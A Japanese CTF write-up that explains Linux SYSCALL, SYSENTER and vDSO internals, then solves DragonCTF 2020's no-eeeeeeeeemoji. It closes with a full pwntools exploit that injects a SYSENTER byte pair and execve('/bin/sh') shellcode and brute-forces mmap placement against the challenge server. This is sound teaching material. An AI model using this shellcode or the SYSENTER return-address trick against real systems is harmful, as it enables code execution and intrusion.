イントロ Link to this heading

いつぞや開催された DragonCTF 2020。pwn 問題 no-eeeeeeeeemoji。 強豪犇めく CTF において、一番最初から出題されているのに 1solve。ざっくり概要を言ってしまうと、任意長の shellcode を流せるが、そのうち最初に自由に実行できるのは 2byte のみであり、2byte の後続の命令は NOP+直ちにexitする関数で塗りつぶされ、また shortjump で届く範囲も全て不正な値で塗りつぶされるという状況である。

想定解では、sysenter命令によってごにょごにょする。 リアルタイムで考えているときは、2byte+NOP スレッド(0x90)によって実現可能な 6 万通りの命令を分類して目 grep して使えそうなものを考えていた。勿論systenersysreturn等も候補に上がっていたのだが、すぐに真切りしてしまった。

CTF 後になんでsysenterをもっと考えられなかったのかと回顧してみると、 おそらくsysenter/sysreturn等のシステムコールが何をするものなのかをざっくりとしか把握していないからだと結論づいた。 自分で知っていると思っていることを実は知らないと真摯に認めることは何ともしんどいものではあるが、2byte でできることとしてsysenterをよく吟味できなかったということはsyscall/vsyscall周りのことを雰囲気でしか理解していないということの証明にほかならない。曖昧さは猫をも殺すらしい。

今後このようなことが起こらないよう、syscall 周りの知識を再度調べ直し、体系的に理解し直してみたいと思う。 最後に、おさらいした知識を使って DragonCTF の問題 no-eeeeeeeeeeeemoji を解いていく。

syscall Link to this heading

MSR_LSTAR Link to this heading

まずは 64bit における通常のシスコール呼び出し方法である syscall から見ていく。 Intel SDM によると、これは以下を行う命令である。

SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.) SYSCALL also saves RFLAGS into R11 and then masks RFLAGS using the IA32_FMASK MSR (MSR address C0000084H); specifically, the processor clears in RFLAGS every bit corresponding to a bit that is set in the IA32_FMASK MSR.

IA32_LSTARという名前の MSR(アドレス0xC0000084)が指すアドレスに PC を移す。 また、RFLAGSレジスタをR11に退避させ、 RFLAGS&IA_32_FMASKというマスク処理を行う。 この IA32_LSTAR に格納されているアドレスが 64bit システムコールにおけるエントリポイントということになる。 また、呼び出し時のユーザランドのRIP をRCXに退避する。

この MSR は、カーネルブート時に以下の syscall_init() において初期化される:

/arch/x86/kernel/cpu/common.c
1void syscall_init(void)
2{
3	wrmsr(MSR_STAR, 0, (__USER32_CS << 16) | __KERNEL_CS);
4	wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);

前者の wrmsr は後述するSYSENTERで利用されるものである。 後者の wrmsrlMSR_LSTARentry_SYSCALL_64() のアドレスをセットしている。

このエントリポイントは、/arch/x86/entry/entry_64.S においてアセンブリで実装されている関数である。 以下ではその流れを見ていく。

entry_SYSCALL_64 Link to this heading

以下が entry_SYSCALL_64 の実装である。 冗長な部分や通常通らないパスは省略している。 なお、以下で参照する全てのコードは commit:169b93899c7dfb93a2b57da8e3505da9b2afcf5c 時点のカーネルを参照している。

.S
 1ENTRY(entry_SYSCALL_64)
 2 	UNWIND_HINT_EMPTY
 3        # kernel用(per-CPU)のGSBaseの獲得 
 4 	swapgs
 5        # ユーザランドのスタックポインタの退避 
 6 	movq	%rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)
 7 	# kernel用にCR3レジスタを切り替える。 
 8 	SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp
 9 	# kernelRSPを取得。 
10 	movq	PER_CPU_VAR(cpu_current_top_of_stack), %rsp
11
12 	# ユーザランドのレジスタでstruct pt_regsをスタック上に生成
13 	pushq	$__USER_DS	/* pt_regs->ss */	# 0x2b
14 	pushq	PER_CPU_VAR(cpu_tss_rw + TSS_sp2)	/* pt_regs->sp */	# 先程退避させていおいたRSP
15 	pushq	%r11		/* pt_regs->flags */
16 	pushq	$__USER_CS	/* pt_regs->cs */	# 0x33
17 	pushq	%rcx		/* pt_regs->ip */
18 GLOBAL(entry_SYSCALL_64_after_hwframe)
19 	pushq	%rax		/* pt_regs->orig_ax */
20
21 	# レジスタの保存とヌルクリア(xor)
22 	PUSH_AND_CLEAR_REGS rax=$-ENOSYS
23 	TRACE_IRQS_OFF
24
25 	/* IRQs are off. */
26 	movq	%rax, %rdi
27 	movq	%rsp, %rsi
28 	call	do_syscall_64		# 実際の処理
29
30 	TRACE_IRQS_IRETQ		/* we're about to change IF */
31
32 	# できる限りSYSRETで返りたい。RCX==R11の場合にはそれができる。IntelCPUの場合、RCX!=R11で#GS例外が発生する。こいつが発生すると、レジスタの値がuser-controllableな状態で処理が移ることになり、不味い
33 	movq	RCX(%rsp), %rcx
34 	movq	RIP(%rsp), %r11
35
36 	cmpq	%rcx, %r11	/* SYSRET requires RCX == RIP */
37 	jne	swapgs_restore_regs_and_return_to_usermode
38        # 
39 	shl	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
40 	sar	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
41
42 	/* If this changed %rcx, it was not canonical */
43 	cmpq	%rcx, %r11
44 	jne	swapgs_restore_regs_and_return_to_usermode
45
46 	cmpq	$__USER_CS, CS(%rsp)		/* CS must match SYSRET */
47 	jne	swapgs_restore_regs_and_return_to_usermode
48
49 	movq	R11(%rsp), %r11
50 	cmpq	%r11, EFLAGS(%rsp)		/* R11 == RFLAGS */
51 	jne	swapgs_restore_regs_and_return_to_usermode
52
53 	 # SYSCALLはR11にRFLAGSを退避させる際にRFフラグをクリアするが、他のパスにおいてこれがセットされた場合適切に処理する。
54 	testq	$(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11
55 	jnz	swapgs_restore_regs_and_return_to_usermode
56
57 	/* nothing to check for RSP */
58 	cmpq	$__USER_DS, SS(%rsp)		/* SS must match SYSRET */
59 	jne	swapgs_restore_regs_and_return_to_usermode
60
61 	# SYSRETで返れる。やったね
62 syscall_return_via_sysret:
63 	/* rcx and r11 are already restored (see code above) */
64 	POP_REGS pop_rdi=0 skip_r11rcx=1
65
66 	 # ここまででRSP/RDIを除いて戻し終わっている。
67 	movq	%rsp, %rdi
68 	movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
69 	UNWIND_HINT_EMPTY
70
71 	pushq	RSP-RDI(%rdi)	/* RSP */
72 	pushq	(%rdi)		/* RDI */
73
74 	# 作業スタックの情報を消去
75 	STACKLEAK_ERASE_NOCLOBBER
76
77 	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
78
79 	popq	%rdi
80 	popq	%rsp
81 	USERGS_SYSRET64
82 END(entry_SYSCALL_64)

なお、SYSCALLによってユーザランドの RSP が保存されることはないため、 実際のシスコールハンドラに処理が移る前に保存しておく必要があり、 ソフトウェアレベルで責任を負う。 RSP は kernel が kernel スタックに退避させることになる。 (RIP は呼び出し時にハードウェアレベルで RCX に退避される)。 一応言及しておくと、shadow stack が有効になっている場合には、 SSPの値が IA32_PL3_SSP MSR に退避される。shadow stack については以下のエントリを参照:

上のアセンブリを軽く概観する。 まず、SYSCALLの直後に swapgs を行う ①。 kernel に入った直後は右も左も分からず裸で荒野に投げ出された羊のようなものだから、swapgs によって kernel GS baseGS base を交換することで、一時的な kernel 領域での作業領域を復元する。 これは、CPU に固有(per-CPU)の領域である。 この領域に対して、ユーザランドの RSP を退避させる ②。 その後、CR3レジスタを切り替えて権限を切り替える ③。 scratch_reg=%rsp となっているのは、CR3 レジスタに対して直接的に OR や ADD 等の命令を行うことはハードウェアレベルで不可能なため、他のレジスタを媒介として演算を行う必要があり、その媒介に使用するのが RSP ということである。 そのために直前で RSP を先に退避させているわけである。 CR3 を切り替えた後は、作業領域から CPU 固有の kernel スタックのアドレスを RSP に取り出して、これで晴れてカーネルランドにおける作業準備が整う。

その後、諸々のレジスタをスタックに詰んで struct pt_regs を生成する ④。 この構造体はレジスタの集合を表す構造体であり、このあとに呼び出すシスコールの実体に参照渡しすることで返り値を調整したりする。 その後、レジスタをクリアして割り込みを禁止した後で do_syscall_64() を呼び出す。 この関数については、後述することにする。

do_syscall_64() が呼び終わったら、RCX と RIP の値を RCX/R11 に復元する。 ここで、ユーザランドに戻るにはIRETSYSRETの 2 通りがあり、後者を使うことが望ましい。 但し、SYSRETには RCX==RIP という条件と、RCX が canonical address であるという条件が有る。 後者が満たされていない場合、IntelCPU はGP#例外を発生させる。

cannonical addressとは、アドレス空間に於いて許容されるアドレスのことを指す。 Intel x64 アーキテクチャの場合には、48bit(LSB)目より上位のビットが全て 48bit 目と同じアドレスのことを言う。以下の Wikipedia の図がわかりやすい:

https://en.wikipedia.org/wiki/X86-64

https://en.wikipedia.org/wiki/X86-64

ユーザランドの上位アドレスが0x7FFFF...になっていたり kernel ランドのアドレスが0xFFFFF...になっているのはこのためである。 要は 48bit 目以降が符号拡張されていれば canonical ということである。 よって、SYSRETを行う前に、ビットシフト演算等を通してユーザランドの戻りアドレスが符号拡張が為されているかを確認している ⑤。

その後、諸々のレジスタを戻してユーザランドに返れば良いように思えるがそうも行かない。 SYSRET自体は RSP を退避しないため、ユーザランドかカーネルランドのプログラムのどちらかがこれを適切に処理しなくてはいけないのだが、前述したとおり RSP に関してはカーネル側が責任を持つ。 ここで、カーネルランドで RSP をユーザランドに戻した直後に割り込みが発生した場合、その割り込みをユーザランドのスタックで処理してしまうことになる。これだと不味いため、割り込みが発生しないようにフラグをセットして有ることを確認する ⑥。

これらのチェックにパスした後でようやく諸々のレジスタを復元する。SYSRETRCX を RIP に、R11 を RFLAGS に復元する。 直前にswapgsで再びkernel GS baseGS baseを入れ替えて、SYSRETを呼ぶことで無事にユーザランドに戻ることができる。尚、上記のチェックのどれかに引っかかった場合は IRET を呼ぶ遅いパスに移行するのだが、今回はそっちの経路は扱わない。

do_syscall_64 Link to this heading

do_syscall_64()(@/arch/x86/entry/common.c) は 64bit シスコール呼び出しの本体であり、以下のような実装になっている:

do_syscall_64

do_syscall_64

とりわけ特筆すべきところはない。 システムコールの番号が正常な範囲内(394)であれば、システムコールハンドラの関数テーブルから適切なものを呼び出して、その返り値を RAX に入れているだけである。 ここで、もしもシスコール番号が不正であった場合の返り値として、前述のentry_SYSCALL_64()において -ENOSYS が格納されている。 よって、関数呼び出しが起こらなかった場合にはそのままこの値がエラー番号として返ることになる。

関数テーブルの各々の実装についてはここでは触れない。

以上が SYSCALL を用いた 64bit システムコールの実装であった。

64bit vDSO Link to this heading

vDSO 導入 Link to this heading

SYSCALLにおいてはユーザランドの RIP は RCX に退避される。 そのため、これらのお世話は呼び出し側が行う必要はない。 そのため、glibc のシステムコールラッパが行うことは殆どないのだが、のちの vDSO に繋がるため結合部分の実装をほんの軽く概観する。

例えば write() のラッパは以下のようになっている:

__libc_write

__libc_write

disassemble of __libc_write

disassemble of __libc_write

単純に RAX に 1 を入れてSYSCALLを呼び出すだけである。 RIP はSYSCALL/SYSRETが勝手に処理してくれるし、RSP はカーネルが良しなにしてくれるため、glibc 側でやることは何もない。

但し、例外が存在する。例えば gettimeofday() を呼び出した際には以下のようになる:

when gettimeofday() is called

when gettimeofday() is called

アドレス0x7FFF27CEf840にジャンプしている。この時のメモリマップは以下のとおり:

memory map

memory map

先程のアドレスは、vDSOという領域に属していることになる。

結論から言うと、この vDSO という領域は、一部のシステムコールを高速化するために kernel 領域からユーザランドに共有オブジェクトの形でマッピングされている領域である。 単なる共有オブジェクトであるから、GDB 上で dump memory ./vdso-64.so 0x7FFF27CEF000 0x7FFF27CF000 のようにしてメモリダンプして情報を見てみると、以下のようになる:

file of vDSO

file of vDSO

header of vDSO as ELF

header of vDSO as ELF

symbols of vDSO as ELF

symbols of vDSO as ELF

確かに ELF 形式のファイルとして情報を持っていることが分かる。ここで、先程ジャンプしたアドレス0x7FFF27CEF840のオフセットである0x840周辺は以下のようになっている:

objdump around 0x840 of vDSO as ELF

objdump around 0x840 of vDSO as ELF

__vdso_gettimeofday@@LINUX_2.6 という関数がドンピシャである。 これが gettimeofday() の実体である。 そして最大の特徴は、内部でSYSCALLが呼ばれないということである。 単純にアセンブリを見るとSYSCALLが有るが、通常このパスは通らず、 一度もSYSCALLを呼ばないまま終了する。 このように、カーネル空間への切り替えが伴わないため、余計なオーバーヘッドを削ることができ、結果的に高速化を実現することができるのが vDSO である。

全ての関数呼び出しが vDSO を経由するわけではない。 vDSO を用いた関数呼び出しを行うのは、先程の vDSO シンボル情報からも分かるとおり、 gettimeofday() / clock_gettime() / time() / get_cpu() の 4 つだけである。 其れ以外は先程見たとおり、SYSCALLを呼んでカーネルに入っていく。

vDSO のマッピングアドレス Link to this heading

それではこの vDSO はどのようにして初期化され、どうやってカーネル空間からユーザ空間にマップされ、どうやって共有オブジェクトとして機能するのか。 本来であれば、vDSO よりも古いシステムである vsyscall について触れるのが先のような気もするが、そんなに根本的な違いはないため 64bit vDSO から先に概観してしまう。

まず、vDSO が何処にマップされるか見てみる:

map of vDSO and vsyscall

map of vDSO and vsyscall

プロセスごとに vDSO がマップされるアドレスは異なることが見て取れる。 (vDSO は 1 ページ分しか無い)。 因みに先取りしてしまうと、vsyscallというページはプロセスによらず常に0xFFFFFFFFFF600000から 1 ページ分マッピングされていることが分かる。 vDSO はこのvsyscallページを動的に配置したものであり、 vsyscallをセキュリティ的に安全に置き換えたものと考えられる。 vDSO はリンク時バイナリイメージをメモリにロードする際にカーネルがマッピングする。このプロセスについては後述する。

vDSO の初期化 Link to this heading

vDSO の初期化もシスコールの初期化と同様にカーネルブート時に init_vdso()(@/arch/x86/entry/vdso/vma.c) において行われる:

init_vdso()

init_vdso()

実体は init_vdso_image() である:

init_vdso_image()

init_vdso_image()

まぁ最適化のために色々とごちゃごちゃしているが、大したことはしていない。 というか、実は init_vdso() を呼び出した時点で、というよりもカーネルをビルドした時点で vDSO イメージ及びその情報はほぼほぼ決まっている。 事実、init_vdso()を呼び出した時の vdso_image_64 の値は以下のようになっている:

vdso_image_64 when init_vdso() is called

vdso_image_64 when init_vdso() is called

そのサイズ(0x1000)も他の諸々のアドレスも既に格納されている。 ここで、dataメンバの指すアドレス配下のようになっている:

raw_data

raw_data

先頭にある、親の顔より見た ELF ヘッダ(7F45)からも分かるとおり、 このraw_dataこそが vDSO の本体に他ならない。 このバイナリイメージは、カーネルが起動する際にわざわざ計算して生成するものではない。 カーネルビルド時に /arch/x86/entry/vdso/vdso2c.c がビルドされてできるプログラムによって、 /arch/x86/entry/vdso/vdso-image-64.c というファイルが生成され、その中にベタ書きしてある:

raw_data

raw_data

カーネルはこのデータを読み込んで vDSO として使用するだけである。 そんなわけで、init_vdso_image64() は多分何もやってない。知らんけど。 関数の前後で値がなんも変わってなかったから、まぁ多分何もやっていない。

ここまで、vDSO の初期化を見てきた。 初期化と言っても、カーネルビルド時にほぼ全ての情報が生成され、ブート時にはそれらをロードするだけである。

ユーザ空間へのマッピング Link to this heading

さてさて、こっからが本番。 vDSO はバイナリイメージのロード時にカーネルによってユーザ空間にマッピングされる。 そのエントリポイントは map_vdso_randomized()(@/arch/x86/entry/vdso/vma.c) である。 (このへん、かなり最適化されていてかなりデバッグめんどい)

map_vdso_randomized

map_vdso_randomized

vdso_addr() によって配置アドレスを取得した後、map_vdso()で実際にマッピングしている。 先程までのvmmapを見ていれば分かるとおり、vDSO はユーザスタックの真下(上位アドレス)に置かれる。 vDSO 自体がランダマイズされていると言うより、ランダム配置の stack に隣接して置かれることになる。 よって、current->mm->start_stackによってユーザスタックのアドレスを入手している。 vdso_addr()自体はスタック開始アドレスを基準としてページアラインさせたり終端アドレスを丸めたりと微調整しているだけで、基本的に開始アドレスはスタックアドレスと同じになると考えてよい。 因みに、vDSO において必要となるカーネルシンボルのいくつかは vvar という領域としてこれもやはりユーザ空間に R でマッピングされることになる。

map_vdso() は以下の感じ。vvarのマッピングも一緒に行う:

map_vdso() 1/2

map_vdso() 1/2

map_vdso() 2/2

map_vdso() 2/2

セマフォを取得した後、最初に get_unmapped_area() でページを取得する。 その後 _install_special_mapping() で vDSO にイメージを書き込む。 権限は READ/EXEC/MAYREAD/MAYWRITE/MAYEXECである。 write 権限は gdb 用に確保してあるらしい。 ありがたい。 その後同様にしてvvarにデータを書き込む。 権限は見ての通りで、書き込みと実行は不可である。 エラーが発生しなかった場合、最後にcurrent->mm->contextに vDSO とvvarのアドレスを書き込んで終わりである。 (余談だが、ptrace の不具合だか何だかで、gdb からvvar領域を読み込むことはできなくなっている。 詳しく調べていないのでよく知らんけど)

ここまで、64bit 空間における vDSO のマッピングを見てきた。 ユーザスタックに隣接するようにマッピングしていることが分かる。

32bit SYSENTER/SYSEXIT Link to this heading

ああああああああああああああああああああああああああああああああああああああああああああああああ、 レポートと実験終わんないよおおおおおおおおおおおおおおおおおおおおおおおおおおおおお。

おっと、危ない、取り乱した。気を取り直して。

ここまで、64bit モードにおける 2 通りのシステムコール呼び出し(SYSCALL/vDSO)を見てきた。 続いて、32bit におけるシスコール呼び出しを見ていく。尚、以降の話は純粋な 32bitOS における話ではなく 64bitOS における 32bit エミュレーションの話である。 これはカーネルビルドコンフィグに於いて IA32_EMULATION を有効にする必要が有る:

IA32_EMULATION

IA32_EMULATION

32bit モードに於いては、システムコールの呼び出しをSYSENTERで行う。 これはおおよそSYSCALLの 32bit みたいな感じである。 SYSCALLのエントリポイントも同様にして、カーネルのブート時に syscall_init() によって決定される:

init of MSR_IA32_SYSENTER_EIP

init of MSR_IA32_SYSENTER_EIP

SYSENTERは実行時に MSR_IA32_SYSENTER_EIP MSR の値を EIP にロードする。 ブート時にこの MSR の値を entry_SYSENTER_compat() に設定しているため、64bitOS におけるSYSENTERのエントリポイントはこの関数になる。 entry_SYSENTER_compat/arch/x86/entry/entry_64_compat.S でアセンブリで実装されている。 実装は SYSCALL のエントリポイントとほぼ同じであるため掲載しない。

ここで重要なこととして、SYSCALL では呼び出し時に RIP が RCX に退避されていたが、SYSENTER では EIP は何処にも退避されない

もう一回言っとこ。SYSCALL では呼び出し時に RIP が RCX に退避されていたが、SYSENTER では EIP は何処にも退避されない

あと一回。SYSCALL では呼び出し時に RIP が RCX に退避されていたが、SYSENTER では EIP は何処にも退避されない

しかも、同様にユーザランド EFLAGS も退避されることはない。 ESP は実行前にユーザプログラム側で EBP に退避させる必要が有る。 こいつは、まじで何もしてくれない。 ニートシステムコールだ。 これらのレジスタの値は、呼び出し側で退避させておく必要が有る。 これらも同様にして libc 並びに vDSO が処理してくれるのだが、これは大事なことなので後述する。

SYSENTER と対となる命令は SYSEXIT であり、これはECXに入っている値をEIPにロードしてユーザランドに返す命令である。

………..??????????????????????????

先程言ったとおり、SYSENTERの呼び出し時に ECX に戻りアドレスが入っているようなことはない。 以下の calling convention が示すように、ECX には単に第 2 引数が入っている:

calling convention of SYSENTER

calling convention of SYSENTER

それでは、いつのまにこの ECX に戻りアドレスが代入されたのか。 そもそも戻りアドレスはどうやって計算したのか。

これは、entry_SYSENTER_compat() 内では行われず、 そこで呼び出される do_fast_syscall_32() において行われる:

do_fast_syscall_32 1/2

do_fast_syscall_32 1/2

do_fast_syscall_32 2/2

do_fast_syscall_32 2/2

第 1 行目の landing_pad が大切である。 ユーザプロセスのvDSOアドレス + vdso_image_32.sym_int80_landing_pad を計算して landing_pad と名付けている。 この時、vdso_image_32.sym_int80_landing_pad の値は以下のようになっている:

int80_landing_pad

int80_landing_pad

0x939。 これで計算した landing_pad をスタックに積んである pt_regs の EIP に該当する部分に書き込んでいる。 これによって、 entry_SYSENTER_compat() に処理が戻って諸々のレジスタを pop し SYSEXIT に戻る際にこのアドレスが EIP に入ることになり、ユーザランドのこのアドレスに戻ることになる。 続く do_fast_syscall_32() の処理は特に変わったところはなく、普通にシステムコールハンドラを呼び出すだけである。

さて、ここまでで SYSENTER の戻りアドレスはレジスタの値に全く関係なく vDSO + 0x939 == landing_pad に戻ることが分かった。 ではこの値が何を意味しているのか。これは 32bit vDSO の仕組みを見ると分かるため、次は vDSO を見ていくことにする。

32bit vDSO / __kernel_vsyscall Link to this heading

32bit エミュにおいてもやはり vDSO を使用する。 以下の図のように vDSO はマッピングされていることが分かる。 (32bit 且つ static リンクなので vmmap がこじんまりとしていて可愛いですね… 癒やされます…)

vmmap 32bit

vmmap 32bit

やはりstack->vdso->vvarの順にマッピングされている。 さてさて、この vDSO イメージにおいて、先程見た+0x939というオフセットにはなにがあるのだろうか:

around 0x939 of vDSO 32bit

around 0x939 of vDSO 32bit

__kernel_vsyscall() という関数の INT 0x80 命令の 1 個後のアドレスを指していて、そのINT 0x80の 1 個前にはSYSENTERがある

試しに、32bit プログラムで write() を行ってみると、glibc 内のwrite()からすぐにこの__kernel_vsyscall()に飛んだ。 上のアセンブラでは、ESP を EBP に移している。 これは、SYSENTERの ABI に合わせるためである。 また、揮発性の ECX/EDX 及び ESP が入る EBP をスタックに退避させている。

そうしてSYSENTERに入ったあとは、先程説明したようなパスを辿り、 vDSO+0x939というアドレスにSYSEXITすることになる。 これは、ユーザプロセスがどこで SYSENTER を呼んだかに関係なく固定のアドレスなのであった。 この+0x939は、退避させたレジスタを POP する。

何故SYSENTERの直後の命令に戻らないかと言うと、32bit 環境においてはINT 0x80でシスコールを呼び出すことも可能でありどちらの選択の余地も有るため、SYSENTER をした場合もINT 0x80をしたのと変わらないような見かけにするためだという。 なお、64bit 環境において vDSO を利用する gettimeofday() 等は 32bit においても vDSO を利用するが、 __kernel_vsyscall() は介さずにすぐに vDSO 中の対応するハンドラに飛ぶことになる。

さてさて、ここまで 32bit における vDSO を見てきた。 64bit と異なり、特定の 4 つの関数以外も vDSO(__kernel_vsyscall)を利用し、戻りアドレスはカーネル内で決められた vDSO 中の固定アドレスになる。

湧き上がる疑問 Link to this heading

重要なこと、**SYSENTER からの戻りアドレスは固定アドレス(厳密には vDSO+固定オフセット)**である。

そしてもう一つ重要なこと、 これが上手く働くにはSYSENTER 前後の処理を適切に行う必要が有る。 このお世話係は vDSO 中の __kernel_vsyscall() が行ってくれる。逆に言うと、SYSENTER を介したシスコールは、__kernel_vsyscall()から呼び出すことしか想定されていない。

おっと????それでは、64bit 環境において、不正に SYSENTER を呼び出したらどうなるのであろうか????

それでは no-eeeeeeeeeeeeeeeemoji を解いていくことにする。

6: no-eeeeeeeeemoji from DragonCTF 2020 Link to this heading

ここまで 32bit/64bit におけるシステムコールを概観してきた。 やっと、DragonCTF の問題 no-eeeeeeeeeeemoji を解くことができる。 1 solve 問題である。やばたにえん。

静的解析/ 問題概要 Link to this heading

.sh
1./main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=04de054da4e374f485c3d10b147634b527f62cd7, for GNU/Linux 3.2.0, stripped
2    Arch:     amd64-64-little
3    RELRO:    Partial RELRO
4    Stack:    Canary found
5    NX:       NX enabled
6    PIE:      PIE enabled
7Ubuntu 18.04 from docker-hub

乱数によって決められるアドレスに対して 1 ページ分だけmmapし、そこに任意長のシェルコードを注入することができる。 但し、注入したシェルコードの内、2byte を残して下位部分は不正な値(0x41)によって塗りつぶされ、上位部分は NOP スレッド+直ちにexit()するコードで塗りつぶされてしまう。 結果として一番最初に自由に実行できるコードは 2byte のみである。 メモリレイアウトは以下のようになる:

ものすごく細かくて見づらいが、図の緑色の部分だけ任意のコードを注入でき、其れ以外は不正な値 or すぐ死ぬ関数で塗りつぶされている。 図のmmap+200のアドレスから実行が開始される。 尚、mmap()されるアドレスはシード無しのrand()によって、 0x1000から0x1000000の間に 1 ページ分だけ取られる。 mmap()は何度でもやり直すことが可能なため、この間のページアラインされた領域ならば任意のアドレスに取得できると考えてよい。 また、接続時にプロセスマップが与えられるため諸々のリークの必要はない。

リアルタイムでどう考えたか Link to this heading

これを CTF 中に考えたときは、自由に注入できる 2byte と、その後ろに続いている NOP スレッド(0x90…)をつなげて使うのではないかと考えた。 よって、任意の 2byte+0x909090909090…によって生成することのできる命令およそ 6 万通りの命令を分類し、目 grep して使えそうな命令がないか試した。 その中には勿論 SYSENTER もあった。 だが、最初に言ったようにあまりこの命令自体を深く考えたことがないためすぐに候補から外してしまった。 結局色々試した結果使えそうなものが見つからず、最終的に 2byte でどうこうする以外に見逃していることが有るのではないかと考えたまま終わってしまった。

__kernl_vsyscall を経由せずに SYSENTER するとどうなるか Link to this heading

この疑問に対する結論から先に言ってしまう。そして、この一言でこの問題は解けたも同然になる。

64bit モードにおいて SYSENTER を呼び出した時、戻りアドレスはユーザプロセス vDSO のアドレスに固定のオフセットを加えたアドレスの下 32bit になる。

ここでいう固定のオフセットとは、先程見た vdso_image_32.sym_int80_landing_pad、 つまり vDSO における__kernel_vsyscall()内のINT 0x80までのオフセットである。

すなわち、それが 64bit モードで呼び出されていようといなかろうと、 vDSO から呼び出されていようといなかろうと、 正規の手順(レジスタの退避・復元)がSYSENTER前後にあろうとなかろうと、 その vDSO のアドレスが 32bit レンジだろうと 64bit レンジだろうとおかまいなしに、 決まったアドレスに戻ってしまうことになる。

まじ??????そんなことあっていいの????

exploit の方針 Link to this heading

まず、メモリマップが与えられるため vDSO のアドレスをメモする。 このアドレスが、mmap()がそもそもに可能な領域であるかを確認する。 今回可能なアドレスは、0x0 ~ 0x1000000である。 下 32bit がこの範囲外に有る場合はもう一度接続し直してやり直す。 (vDSO のアドレスは0x7FF_XXYYY000であるから、8bit のエントロピー)

その後、vDSO+固定オフセットの下 32bit がmmap()した範囲に来るように、mmap()を繰り返す。 ここでいう固定オフセットは、Ubuntu18.04 の場合以下のように0xB49である:

offset of return address from SYSENTER

offset of return address from SYSENTER

SYSENTERのオペコードは 0F 34 であり 2byte で十分であるから、 最初に実行できる 2byte にSYSENTERを注入する。 他の領域には NOP スレッドを入れておいて、mmap()した一番最後に通常の 32bit シェルコードを入れておく。

そうすると、SYSENTERして帰って来る際にvDSO+0xB49の下 32bit が戻りアドレスになり、 これは先程調整したmmap()のレンジ内であるから、広げておいた NOP スレッドを辿って最後のシェルコードを実行することになる。

はーーーーー、わかってしまえば、めっちゃ単純…

exploit Link to this heading

割とな数のぶるーとふぉーすしなくちゃいけないので、CTF 後の低速サーバに切り替わった後では結構きつい。

exployt.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6import time
  7
  8FILENAME = "./main"
  9LIBCNAME = ""
 10
 11hosts = ("noemoji.hackable.software","localhost","localhost")
 12ports = (1337,12300,23947)
 13rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
 14rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
 15rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
 16context(os='linux',arch='i386')
 17binf = ELF(FILENAME)
 18libc = ELF(LIBCNAME) if LIBCNAME!="" else None
 19
 20
 21## utilities #########################################
 22
 23def hoge(ch):
 24  global c
 25  c.recvuntil("cow beer\n")
 26  c.recvline()
 27  c.sendline(ch)
 28
 29def horse(data):
 30  global c
 31  s = len(data)
 32  hoge('h')
 33  c.recvuntil("gib:\n")
 34  for i in range(s//0x20 + 1):
 35    try:
 36      c.send(data[i*0x20: (i+1)*0x20])
 37    except():
 38      return
 39
 40def beer():
 41  global c
 42  hoge('b')
 43  c.recvuntil("@")
 44  return int(c.recvline().rstrip(), 16)
 45
 46i = 0
 47j = 0
 48
 49def cow():
 50  global c
 51  hoge('c')
 52
 53## exploit ###########################################
 54
 55def exploit():
 56  global c
 57  global i,j
 58  sym_int80_landing_pad = 0xb49
 59
 60  # get vDSO addr
 61  c.recvuntil("[vvar]")
 62  c.recvline()
 63  vdso = int(c.recvuntil("-")[:-1], 16)
 64  print("[{}] vdso: ".format(hex(i))+hex(vdso))
 65
 66  # check vDSO's 32bit is in range of mmap(0x0~0x1000000) [8bit entropy]
 67  # むぅ、なんかtarget>=0x400000だとうまくいかん気がするんだが
 68  #if(vdso & 0xFF000000 != 0):
 69  if(((vdso & (2**32 - 1))>>12) >= 0x300):
 70    return False
 71  target = vdso & (2**32 - 1)
 72  print("[!] YEAH. I can target: "+hex(target))
 73
 74  # mmap until (vDSO+0xB49)&32bit is mapped [12bit entropy]
 75  j = 0
 76  while True:
 77    mmapaddr = beer()
 78    print("[{}] mmap: ".format(hex(j))+hex(mmapaddr))
 79    j += 1
 80    if mmapaddr == target:
 81      break
 82
 83  # inject shellcode
 84  print("[!] injecting shellcode and SYSENTERing...")
 85  shellcode = b""
 86  shellcode += asm('mov esp, {}'.format(hex(mmapaddr + 0x200)))
 87  shellcode += asm('xor eax, eax')
 88  shellcode += asm('push 0x0068732f')
 89  shellcode += asm('push 0x6e69622f')
 90  shellcode += asm('mov ebx, esp')
 91  shellcode += asm('mov ecx, eax')
 92  shellcode += asm('mov edx, eax')
 93  shellcode += asm('mov al, 0xb')
 94  shellcode += asm('int 0x80')
 95  shellcode += asm('xor eax, eax')
 96  shellcode += asm('inc eax')
 97  shellcode += asm('int 0x80')
 98  pay = b""
 99  pay += p8(0x90) * 0x200
100  pay += p8(0x0F) + p8(0x34) # SYSENTER
101  pay += p8(0x90) * (0xe00 - len(pay))
102  pay += shellcode
103  pay += p8(0x90) * (0x1000 - len(pay))
104  raw_input("ENTER TO PWN")
105  horse(pay)
106
107  return True
108
109
110
111## main ##############################################
112
113if __name__ == "__main__":
114    global c
115    global i
116    start_time = time.time()
117
118
119    while True:
120      if len(sys.argv)>1:
121        if sys.argv[1][0]=="d":
122          cmd = """
123            set follow-fork-mode parent
124          """
125          c = gdb.debug(FILENAME,cmd)
126        elif sys.argv[1][0]=="r":
127          c = remote(rhp1["host"],rhp1["port"])
128        elif sys.argv[1][0]=="v":
129          c = remote(rhp3["host"],rhp3["port"])
130      else:
131          c = remote(rhp2['host'],rhp2['port'])
132
133      result = exploit()
134      if result == False:
135        c.close()
136        i += 1
137        continue
138
139      break
140    print("[!] Success pwning:")
141    print("[+]   try of vSDO:  "+hex(i))
